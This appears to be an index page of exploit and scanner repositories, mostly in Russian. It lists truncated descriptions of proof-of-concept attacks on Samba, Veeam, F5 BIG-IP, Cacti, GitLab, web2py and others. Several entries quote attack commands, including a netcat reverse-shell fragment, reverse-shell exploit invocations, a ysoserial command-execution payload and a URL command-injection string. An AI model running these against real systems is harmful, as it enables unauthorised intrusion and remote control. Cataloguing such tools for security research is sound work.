CVE-2025-25706

CVE-2025-25706 Description Item: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Тип уязвимости: Удалённое выполнение кода Описан...

Rust_CVE-2025-55182

CVE-2025-55182 Эксплойт-инструмент версия на Rust Обзор проекта Данный проект представляет собой инструмент для исследования безопасности, разработанный на Rust, для эксплуатации уязвимости удаленного выполнения кода RCE в [email protected]. Уязвимость позволяет атакующему отправлять...

CVE-2020-10199_POC-EXP

Затронутые версии + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version username...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" удаленное выполнение команд исторический CVE. Этот репозиторий содержит небольшой концептуальный скрипт для исследовательских и образовательных целей. Основной скрипт — usermapscriptCommandExecution.py. Ссылка на статью:...

CVE-2024-40711-Exp

Использование .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE IP-адрес целевого сервера Veeam Backup and Replication --vp, --targetveeamport=VALUE Порт...

f5scan

f5scan Сканер F5 BIG IP для CVE-2020-5902 от bt0 Дополнительная информация об уязвимости: https://support.f5.com/csp/article/K52145254?sf235665517=1 Требования: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Опции -h, --help показать это справочное сообщение и выйти -H...

vaas-cve-2014-6271

Уязвимость как услуга - CVE 2014-6271 Система Debian Buster Linux с уязвимой версией bash и веб-приложение для демонстрации CVE-2014-6271, также известного как Shellshock. Обзор Этот docker-контейнер основан на Debian Buster и был изменён для использования уязвимой версии Bash bash4.2:2b:dfsg-0.1...

MiscTools

MiscTools CsExec Выполнение команд / боковое перемещение через функциональность, подобную PsExec. Должен выполняться в контексте привилегированного пользователя. CsExec.exe Также смотрите TikiService. CsPosh Выполнение команд / боковое перемещение через PowerShell. Создает пространство выполнения...

NetworkAlarm

NetworkAlarm Un outil en ligne de commande pour surveiller le trafic réseau local afin de détecter d'éventuelles vulnérabilités de sécurité. Avertit l'utilisateur des éventuels scans nmap, scans Nikto, identifiants envoyés en clair, numéros de carte de crédit envoyés en clair et attaques...

CVE-2020-14947

CVE-2020-14947 Официальный эксплойт для удалённого выполнения команд в OCS Inventory NG v2.7 CVE-2020-14947...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Многопоточный скрипт массового обнаружения CVE-2021-22205 Использование dnslog для обнаружения вместе с PoC Многопоточное обнаружение Настройка выполнения команд...

cve-2023-46747

CVE-2023-46747 Эксплойт-скрипт Этот скрипт эксплуатирует уязвимость удалённого выполнения кода F5 BIG-IP TMUI CVE-2023-46747. Он позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на уязвимой системе F5 BIG-IP. Содержание Features Requirements Usage Parameters How It...

poc-proxycommand-vulnerable

RCE через небезопасный /.ssh/config Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH. Уязвимая конфигурация host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Примечание: изначально ...

CVE-2023-46805

CVE-2023-46805 Сканер Сканер CVE-2023-46805 для возможно уязвимых устройств Ivanti Connect Secure по странам с использованием Shodan. Версия скрипта: 1.3 Обновлено с учётом недавнего поста в блоге Assetnote ⚠️ Этот скрипт предназначен для защитных целей и должен использоваться специалистами по...

CVE-2023-45158

CVE-2023-45158 Шаги 1. Запустите веб-сервер cd web2py python3 web2py.py 2. Внедрите свою команду с помощью URL http://:8000/hack?msg=%27%3B%3B%27. Замените и на свои значения. Примеры 1. Создайте файл на сервере http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Обратная оболочка На машине...

CVE-2022-46169

CVE 2022-46169 Этот скрипт эксплуатирует уязвимость неаутентифицированного внедрения команд в Cacti версиях до 1.2.22, чтобы достичь неаутентифицированного удаленного выполнения кода и получить обратную оболочку...

CVE-2015-1427

CVE-2015-1427 Параметры -u один URL -l указать файл с URL -c указать команду...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3 CVE-2007-2447.py...

CVE-2025-54100

CVE-2025-54100 – PoC анализа ответа PowerShell Демонстрация того, как CVE-2025-54100 через обработку вредоносного HTML приводит к удаленному выполнению кода RCE в Windows PowerShell 5.1. Что такое CVE-2025-54100? Тип уязвимости: Риск внедрения команд при отсутствии параметра -UseBasicParsing в...

fwbt

fwbt Разбор: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ PoC-код для взаимодействия с Firewalla через Bluetooth Low-Energy и эксплуатации CVE-2024-40892 / CVE-2024-40893 Без какой-либо настройки он сканирует Firewalla поблизости и раскрывает контрольную сумму License UUID...